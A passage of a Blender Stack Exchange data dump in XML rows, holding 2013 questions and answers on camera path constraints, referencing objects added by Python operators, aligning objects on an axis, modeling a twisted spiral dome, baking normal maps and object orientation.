  <row Id="2284" PostTypeId="2" ParentId="2022" CreationDate="2013-08-10T16:16:20.443" Score="5" Body="&lt;p&gt;Sometimes it is a good idea to put empties inbetween your object's relations. In this case the empty follows the path ('Path' constraint) and the camera is connected to the empty with a 'child Of' constraint. You do that with every path you want to use. The advantage is that you can see all path animations simultaneously without the need for the camera to switch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second advantage is that the empties can keep their own 'Track To' constraints, so you don't have to switch several sets of constraints on and off simultaneously!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be more convenient to switch the whole 'Child Of' constraint by animating the eye instead of the influence. Just hover over the eye after you switch it on or off and hit &lt;kbd&gt;I&lt;/kbd&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CgHHt.png&quot; alt=&quot;curves empties and &amp;#39;Child Of&amp;#39; constraints to direct a camera&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2013-08-10T16:53:07.507" LastActivityDate="2013-08-10T16:53:07.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2285" PostTypeId="1" AcceptedAnswerId="2286" CreationDate="2013-08-10T20:25:42.057" Score="13" ViewCount="3338" Body="&lt;p&gt;From my python script I want to add some objects to scene and process them later (add constraints etc.). &#xA;If the object to be added is an Empty, I can simply write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; name = &quot;MyObject&quot;&#xA;&amp;gt;&amp;gt;&amp;gt; obj = bpy.data.objects.new(name, None)&#xA;...&#xA;&amp;gt;&amp;gt;&amp;gt; process(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However if the object to be added is a simple mesh, we may use &lt;code&gt;bpy.ops.mesh.primitive_*&lt;/code&gt; operators, which adds objects (e.g. cube) to the scene.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.ops.mesh.primitive_cube_add(radius=2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how can I get reference to the newly added object? It returns &lt;code&gt;{'FINISHED'}&lt;/code&gt; instead of the reference to object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj = ??? &#xA;&amp;gt;&amp;gt;&amp;gt; process(obj)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We do not know name of the new object (and I'm not interested in guessing it&lt;code&gt;:)&lt;/code&gt;). Instead, I've tried using the index, but it &lt;strong&gt;did not work (gives wrong result):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj = bpy.data.objects[-1] # We don't know the name :(&#xA;bpy.data.objects['Lamp']&#xA;&amp;gt;&amp;gt;&amp;gt; # ^^ bpy.data.objects['Cube'] was expected&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="667" LastEditorUserId="667" LastEditDate="2013-08-10T20:37:13.643" LastActivityDate="2013-08-10T20:39:52.890" Title="How to get reference to object(s) added by an operator?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2286" PostTypeId="2" ParentId="2285" CreationDate="2013-08-10T20:39:52.890" Score="10" Body="&lt;p&gt;Objects constructed with &lt;code&gt;bpy.ops.mesh.primitive_*&lt;/code&gt; are automatically active. If there's no selection-changing operations immediately after object creation, you can access it through &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.context.html#bpy.context.active_object&quot;&gt;&lt;code&gt;bpy.context.active_object&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.context.html#bpy.context.object&quot;&gt;&lt;code&gt;bpy.context.object&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-08-10T20:39:52.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2287" PostTypeId="2" ParentId="566" CreationDate="2013-08-10T20:53:37.923" Score="1" Body="&lt;p&gt;One example for when the mirror modifier isn't useful, is when you already have a lot of geometry in your object and you want to mirror just a minor part. Then you either need to separate the symmetrical part by selecting it and pressing &lt;kbd&gt;P&lt;/kbd&gt;, then use the modifier, apply it and join the meshes with &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;, or you disregard the fact that other parts are mirrored along and you delete them after applying the modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you use the old method of mirroring. You select the part, duplicate it with &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; and mirror it with &lt;kbd&gt;S&lt;/kbd&gt;, &lt;kbd&gt;X&lt;/kbd&gt;/&lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;, &lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;, basically scaling it to -1 on one axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When working on small parts of a bigger mesh, it's the fastest method. You can use the 3D-cursor as the pivot point by snapping it to selected verts that lay on the symmetry plane with &lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;-&lt;kbd&gt;3&lt;/kbd&gt;. Then you can switch the pivot center to cursor with &lt;kbd&gt;.&lt;/kbd&gt; (change to default with &lt;kbd&gt;,&lt;/kbd&gt;) and scale like described above. Selecting everything and hitting &lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to recalculate the normals might be useful afterwards. &lt;/p&gt;&#xA;" OwnerUserId="1077" LastEditorUserId="1077" LastEditDate="2018-11-08T09:42:12.967" LastActivityDate="2018-11-08T09:42:12.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2288" PostTypeId="1" AcceptedAnswerId="2294" CreationDate="2013-08-10T23:09:08.963" Score="2" ViewCount="292" Body="&lt;p&gt;When creating a a model of something that will be assembled, in particular furniture blueprints, which is a better approach?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do many extrusions of the object or the create the pieces separately and join them in parent child relationships?&lt;/p&gt;&#xA;" OwnerUserId="1010" LastEditorUserId="1010" LastEditDate="2013-08-10T23:25:24.533" LastActivityDate="2013-08-11T08:41:42.833" Title="Which is better extrusion or assembly for creating blueprints?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2013-08-11T17:34:53.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="2289" PostTypeId="1" AcceptedAnswerId="2292" CreationDate="2013-08-10T23:15:07.473" Score="45" ViewCount="122195" Body="&lt;p&gt;Other than manually typing in locations, is there an easy way to align objects on an axis like you would in &lt;a href=&quot;https://en.wikipedia.org/wiki/Microsoft_Visio&quot;&gt;Visio&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1010" LastEditorUserId="12" LastEditDate="2013-08-10T23:38:33.237" LastActivityDate="2019-07-04T16:06:04.077" Title="Is there an easy way to align two objects on a specific axis?" Tags="&lt;workflow&gt;&lt;transforms&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="23" ContentLicense="CC BY-SA 3.0" />
  <row Id="2290" PostTypeId="2" ParentId="2289" CreationDate="2013-08-10T23:24:48.970" Score="2" Body="&lt;p&gt;You can mark the spot with your cursor and, select your object and hit &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt; then select&#xA;&lt;em&gt;Selection to Cursor&lt;/em&gt;. This will snap your selected object to wherever your cursor is.&lt;/p&gt;&#xA;" OwnerUserId="468" LastEditorUserId="12" LastEditDate="2013-08-10T23:41:41.267" LastActivityDate="2013-08-10T23:41:41.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2291" PostTypeId="2" ParentId="2289" CreationDate="2013-08-10T23:28:39.893" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/control/snap.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snapping&lt;/a&gt; with the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/control/snap.html#additional-snap-options&quot; rel=&quot;nofollow noreferrer&quot;&gt;rotation snapping&lt;/a&gt; option enabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f2Wl9.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2Wl9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2018-04-28T20:52:20.787" LastActivityDate="2018-04-28T20:52:20.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2292" PostTypeId="2" ParentId="2289" CreationDate="2013-08-10T23:30:42.497" Score="44" Body="&lt;p&gt;You can use &lt;em&gt;Align Objects&lt;/em&gt; available in the 3d view header under &lt;em&gt;Object &gt; Transform&lt;/em&gt; &gt; &lt;em&gt;Align Objects&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IB8tQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IB8tQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will bring up a panel in the toolshelf and you can choose the axis to align the selected objects on. You can also choose to align relative to and the mode to align by.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fjfFa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="76316" LastEditDate="2019-07-04T16:06:04.077" LastActivityDate="2019-07-04T16:06:04.077" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="2293" PostTypeId="2" ParentId="2289" CreationDate="2013-08-10T23:57:59.730" Score="21" Body="&lt;p&gt;I like to use the &lt;strong&gt;Pivot Point Align&lt;/strong&gt; feature in conjunction with zero-scaling.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt; &lt;em&gt;(comma)&lt;/em&gt; to activate &lt;em&gt;Pivot Point Align&lt;/em&gt;, or click the button next to the pivot center selector in the 3D View header.&lt;/li&gt;&#xA;&lt;li&gt;Select your two objects.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; to activate scaling. Then, press the axis key (&lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt;) corresponding to the axis on which you want the objects to be aligned.&lt;/li&gt;&#xA;&lt;li&gt;Press the &lt;kbd&gt;0&lt;/kbd&gt; &lt;em&gt;(zero)&lt;/em&gt; key on your keyboard. This will scale the distance between the center points of the objects to zero (i.e., they will be on top of each other) but since &lt;em&gt;Pivot Point Align&lt;/em&gt; is on, the scale of the objects is conserved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I really like this method for a few reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's quick: it only takes me about five seconds to do &lt;kbd&gt;RMB&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;,&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;It works in edit mode as well, to align vertices.&lt;/li&gt;&#xA;&lt;li&gt;You can easily specify where they should be aligned to with the normal pivot point settings. For example, by default, they will align at the median, but you could also choose to do the 3D cursor, active object, etc.&lt;/li&gt;&#xA;&lt;li&gt;You can select a local axis along which to transform. To do this, select the relevant object last (so it is the active object), and then press the axis key twice. For example, to align a cube and sphere on the sphere's local X axis, select the cube, then the sphere, then press &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;. You can also do this with gimbal, normal, or view axes by selecting the appropriate axis type from the &lt;em&gt;Transform Orientation&lt;/em&gt; dropdown menu.&lt;/li&gt;&#xA;&lt;li&gt;You can use proportional editing to gradually scale nearby objects in as well.&lt;/li&gt;&#xA;&lt;li&gt;Essentially, you can use all the editing features you normally use.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-08-10T23:57:59.730" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2294" PostTypeId="2" ParentId="2288" CreationDate="2013-08-11T00:04:15.440" Score="4" Body="&lt;p&gt;I would create the pieces separately and then join them later. Here are some reasons why:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It allows you to preserve separation of concerns. This in itself has many benefits; for example, you could have different team members working on different parts.&lt;/li&gt;&#xA;&lt;li&gt;It allows you to easily animate assembly instructions by simply moving the objects.&lt;/li&gt;&#xA;&lt;li&gt;Logically, it makes more sense: the pieces are physically separate; in the real world, they are separate objects, so they should be in Blender as well.&lt;/li&gt;&#xA;&lt;li&gt;You can join the pieces together at any time by selecting them and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; or &lt;strong&gt;3D View&lt;/strong&gt; &amp;rarr; &lt;strong&gt;Tool Shelf&lt;/strong&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) &amp;rarr; &lt;strong&gt;Join&lt;/strong&gt;, and you can separate them again with &lt;strong&gt;Separate&lt;/strong&gt; (&lt;kbd&gt;P&lt;/kbd&gt;) &amp;rarr; &lt;strong&gt;By Loose Parts&lt;/strong&gt; while in edit mode.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="372" LastEditorUserId="1068" LastEditDate="2013-08-11T08:41:42.833" LastActivityDate="2013-08-11T08:41:42.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2295" PostTypeId="1" AcceptedAnswerId="2296" CreationDate="2013-08-11T00:57:13.367" Score="8" ViewCount="6794" Body="&lt;p&gt;I've added a torus knot using the the &quot;Add Curve: Extra Objects&quot; addon. I've done some work on the scene, and now would like to go back change the knot parameters that were in the operator settings when I first added the curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get back to that panel to adjust operator settings?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="12" LastEditDate="2013-08-11T01:11:28.387" LastActivityDate="2018-08-06T18:15:45.793" Title="How to adjust operator settings after leaving the settings panel" Tags="&lt;interface&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ClosedDate="2020-03-04T17:31:49.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="2296" PostTypeId="2" ParentId="2295" CreationDate="2013-08-11T01:09:30.167" Score="7" Body="&lt;p&gt;Unfortunately, you can't. Once you perform another operation, the changes are set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the operator should retain its last-used settings; you can delete the knot and re-add it, then change the settings to suit your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the settings before doing anything else, you can use the panel in the Tool Shelf, or press &lt;kbd&gt;F6&lt;/kbd&gt; in the 3D View to bring up the options for the last-used operator.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="12" LastEditDate="2013-08-11T01:12:03.873" LastActivityDate="2013-08-11T01:12:03.873" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2297" PostTypeId="1" AcceptedAnswerId="2318" CreationDate="2013-08-11T04:34:19.797" Score="27" ViewCount="2362" Body="&lt;p&gt;Is there some elegant way I could go about creating the &quot;twisted spiral&quot; surfaced dome as you see in the iconic &quot;St. Basil's Cathedral&quot; in Red-Square in Moscow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rghktb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OriNZb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/guxiBb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vzFAFb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1083" LastEditorUserId="-1" LastEditDate="2013-08-11T16:32:15.430" LastActivityDate="2013-08-11T22:58:42.567" Title="How would I go about creating a spiralled dome?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="2298" PostTypeId="2" ParentId="2297" CreationDate="2013-08-11T06:53:24.050" Score="5" Body="&lt;p&gt;Create a Sphere.&#xA;Delete the lower portion, as shown in picture.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/HhC1l.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Enable Proportional Editing Tool.&#xA;Select the Top Vertex and Scale the Sphere in Z Direction to give it more Height.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oscHr.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Disable Proportional Editing Tool.&#xA;Smooth Shade your mesh. Add Subsurf Modifier.&#xA;Select every second Edge Loop.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kd1aR.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Scale them on x &amp;amp; y axis.&#xA;Enable Proportional Editing Tool.&#xA;Select the top Vertex and Rotate in Z axis.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZI8pN.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Finished Mesh. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/OQAal.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2013-08-11T06:53:24.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2299" PostTypeId="1" AcceptedAnswerId="2300" CreationDate="2013-08-11T06:59:28.963" Score="8" ViewCount="2961" Body="&lt;p&gt;I'm building models for an independent game and would like to use normal maps. I started by building the low detail meshes first, which are about 4000 tris each, give or take a thousand. I built the low detail meshes in pieces to save on polycount, so when I bake a normal map onto the low poly mesh I get all kinds of errors where the high poly mesh is being projected onto the overlapping faces, no matter what bias I use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I bake normal maps for these meshes? If I have to redo these to get there, what should I look out for in the future? Should I have started with a continuous mesh with all the detail and then deconstructed it to make a low detail mesh?&lt;/p&gt;&#xA;" OwnerUserId="409" LastEditorUserId="2217" LastEditDate="2014-07-29T00:33:17.020" LastActivityDate="2015-11-22T21:51:30.200" Title="How to bake normal map for discontinuous mesh" Tags="&lt;workflow&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2300" PostTypeId="2" ParentId="2299" CreationDate="2013-08-11T07:07:49.960" Score="9" Body="&lt;p&gt;Here is a workflow you could use:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Build the high poly mesh first. &lt;/li&gt;&#xA;&lt;li&gt;Add details as you like by adding separate meshes.&lt;/li&gt;&#xA;&lt;li&gt;Build the low poly mesh over high poly mesh, &lt;em&gt;using Shrinkwrap and Surface Snapping to help.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Separate your low poly meshes according to requirements (textures, extrusion etc).&lt;/li&gt;&#xA;&lt;li&gt;Bake your maps.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This ensures correct normal and AO map bakes.&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="12" LastEditDate="2013-08-12T00:51:31.370" LastActivityDate="2013-08-12T00:51:31.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2301" PostTypeId="2" ParentId="2297" CreationDate="2013-08-11T07:36:11.060" Score="11" Body="&lt;p&gt;Well, there are several ways to approach this, the simplest of which is I think is to just do it in one shot &lt;em&gt;(no need for modifiers)&lt;/em&gt;. Just add a circle, scale in some points and 'twist' it. This is more or less the same as &lt;a href=&quot;https://blender.stackexchange.com/a/2298/12&quot;&gt;dukejib's answer&lt;/a&gt;. &lt;em&gt;&lt;strong&gt;If&lt;/strong&gt;&lt;/em&gt; you do it this way however, you get a bit more control over the mesh at each stage.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a circle to the scene in top view, select and scale in every other vertex until you get a pointy edged circle. The default 32 vertices are ok in this case, if you want the 'pegs' of the dome closer to each other or more defined, use more &lt;em&gt;(but keep them evenly numbered)&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QAQRg.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From a side view, give it the rough shape of the dome by extruding up and tapering at the top and then add a few loopcuts with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; and scale these accordingly.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BlUZY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Subsurf&lt;/em&gt; modifier (you can do this quickly by using &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;em&gt;Subdivision Level (1 - 6)&lt;/em&gt;) and press the last button of the modifier to have it applied to the mesh while in edit mode. You can then ring select the loopcuts and 'fatten' them by scaling. Tweak this to give the mesh an overall more smooth and well rounded shape.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rHPGL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select each loopcut and rotate about &lt;code&gt;15°&lt;/code&gt; on the &lt;em&gt;Z&lt;/em&gt; axis until you get a nice twisted looking shape.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gCPBp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finished. You can still further tweak this by rotating the loopcuts further or making the 'pegs' more pronounced by selecting them and scaling them while being constrained on the Z axis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CMZjW.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-08-11T07:41:24.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2302" PostTypeId="2" ParentId="2297" CreationDate="2013-08-11T07:56:25.227" Score="22" Body="&lt;ol&gt;&#xA;&lt;li&gt;Model a single straight section of the dome.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yVNYb.png&quot; alt=&quot;&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the following modifiers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Array&quot; rel=&quot;noreferrer&quot;&gt;Array&lt;/a&gt; and spin around a empty.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;noreferrer&quot;&gt;Subsurf&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Simple_Deform&quot; rel=&quot;noreferrer&quot;&gt;Simple Deform&lt;/a&gt;, to add the twist.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VDw0K.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UAQWu.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-08-11T07:56:25.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2303" PostTypeId="2" ParentId="2207" CreationDate="2013-08-11T08:45:35.823" Score="1" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt; (as of 2.68), the Python &lt;code&gt;extensions_framework&lt;/code&gt; directory has no references to &lt;code&gt;AddonPreferences&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could contact Doug Hammond about this or check on adding support yourself.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-08-11T08:45:35.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2304" PostTypeId="1" AcceptedAnswerId="2305" CreationDate="2013-08-11T08:53:33.067" Score="6" ViewCount="899" Body="&lt;p&gt;I've already had question according &lt;a href=&quot;https://blender.stackexchange.com/questions/1534/array-modifier-y-and-z-reversed&quot;&gt;array modifier&lt;/a&gt;. I had changed object alignment from 'Align To: World' to 'Align To: View' in the 'User Preferences'. It's because i wanted to add objects in 'Front Persp' and spare me rotation steps i every time take when i'm adding a new object. After changing it i ended up having problems with modifiers relative offset properties, i had to tweak the 'Y' axis to move it up and 'Z' axis property to move it in the direction where normally 'Y' axis would be. So the question is: &lt;strong&gt;is it possible to add objects in 'front ortho' without messing up the axis of the object?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="864" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2013-08-11T11:45:21.083" Title="Preventing axis being messed up by adding new objects to the scene in Front Perspective View" Tags="&lt;mesh&gt;&lt;3d-view&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2305" PostTypeId="2" ParentId="2304" CreationDate="2013-08-11T09:03:16.627" Score="4" Body="&lt;p&gt;No, you either get it aligned to your current view, including the object's local orientation, or globally oriented.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Reset_Object_Transformations#Apply_Object_transformations&quot; rel=&quot;nofollow&quot;&gt;Apply object rotation&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Go to Object Mode and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;, &lt;kbd&gt;2&lt;/kbd&gt; &lt;em&gt;(Apply Rotation)&lt;/em&gt; and your object orientation is applied, meaning that the mesh stays exactly the same but all 3 axes are parallel to the global ones afterwards.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Concerning default behaviour&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can't make blender apply the rotation of your object all the time or always when you add an object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it would be possible to write a python addon/macro to always realign the axes for you after adding an object, but someone else would have to help you with that.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Other workaround&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can add any object first from top view (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;), delete the mesh (&lt;kbd&gt;X&lt;/kbd&gt;) and re-add the mesh you want from the perspective you want (e.g. front with &lt;kbd&gt;Numpad 1&lt;/kbd&gt;, &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;). This will only add the mesh within the already correctly aligned object. Which is not really a lot faster than the method mentioned above, sadly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Third (probably best) workaround&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Go to top view (&lt;kbd&gt;Numpad 7&lt;/kbd&gt;), add the object, go to front view (&lt;kbd&gt;Numpad 1&lt;/kbd&gt;), press &lt;kbd&gt;F6&lt;/kbd&gt;, (disable and)* re-enable &quot;align to view&quot;, this re-aligns the mesh to the current view without altering the object orientation.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;only if align to view is enabled by 